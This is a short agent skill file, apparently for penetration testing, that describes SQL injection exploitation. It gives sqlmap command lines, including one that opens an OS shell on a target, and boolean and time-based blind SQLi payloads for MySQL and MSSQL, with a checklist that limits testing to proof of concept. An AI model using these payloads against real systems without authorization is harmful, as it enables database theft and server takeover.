Sql Injection Exploitation

---
name: sql-injection-exploitation
description: "Use when exploiting SQL injection vulnerabilities."
version: 1.0.0
author: Hermes Agent
license: MIT
metadata:
  hermes:
    tags: [SQL-injection, blind-SQLi, error-based, union, time-based, sqlmap, DBMS]
    related_skills: [webapp-penetration-testing, api-penetration-testing, cross-site-scripting-exploitation, database-security]
---

# SQL Injection Exploitation

Exploiting SQL injection vulnerabilities — from detection through UNION, error-based, blind (boolean/time-based), out-of-band, and automated exploitation with sqlmap.

## When to Use

- Detecting and exploiting SQL injection in web apps
- Extracting database information via SQLi
- Bypassing WAF/IPS filters for SQL injection
- Manual and automated SQL injection testing

## SQLi Techniques

```python
SQLI_TYPES = {
    'in_band_union': 'UNION SELECT to retrieve data in same response — simplest',
    'in_band_error': 'Extract data via error messages (GROUP BY, CONVERT, XPATH)',
    'blind_boolean': 'Infer data from TRUE/FALSE responses — slower but reliable',
    'blind_time': 'Infer data from response delays (SLEEP, WAITFOR DELAY, BENCHMARK)',
    'out_of_band': 'Extract data via DNS/HTTP to attacker-controlled server',
}

# sqlmap automation
SQLMAP_EXAMPLES = {
    'basic': "sqlmap -u 'https://target.com/page?id=1' --batch",
    'with_cookie': "sqlmap -u 'https://target.com/page?id=1' --cookie='session=abc' --batch",
    'os_shell': "sqlmap -u 'https://target.com/page?id=1' --os-shell",
    'dbs': "sqlmap -u 'https://target.com/page?id=1' --dbs --batch",
}

# Manual blind SQLi
BLIND_SQLI = {
    'boolean': "' OR 1=1-- - (true), ' OR 1=2-- - (false)",
    'time_mysql': "' OR IF(SUBSTRING((SELECT database()),1,1)='a',SLEEP(3),0)-- -",
    'time_mssql': "'; IF (ASCII(SUBSTRING(@@version,1,1))>50) WAITFOR DELAY '0:0:5'--",
}
```

## Verification Checklist

- [ ] Injection point confirmed (error-based, blind, or time-based)
- [ ] Database type identified (MySQL, MSSQL, PostgreSQL, Oracle, SQLite)
- [ ] Current user and permissions determined
- [ ] Database contents enumerated (tables, columns, data)
- [ ] sqlmap used for automated extraction (if applicable)
- [ ] WAF/IDS bypasses attempted (comment injection, case variation, encoding)
- [ ] Data extracted limited to proof-of-concept only
- [ ] No destructive operations (INSERT, UPDATE, DELETE, DROP)
- [ ] Findings documented with request/response evidence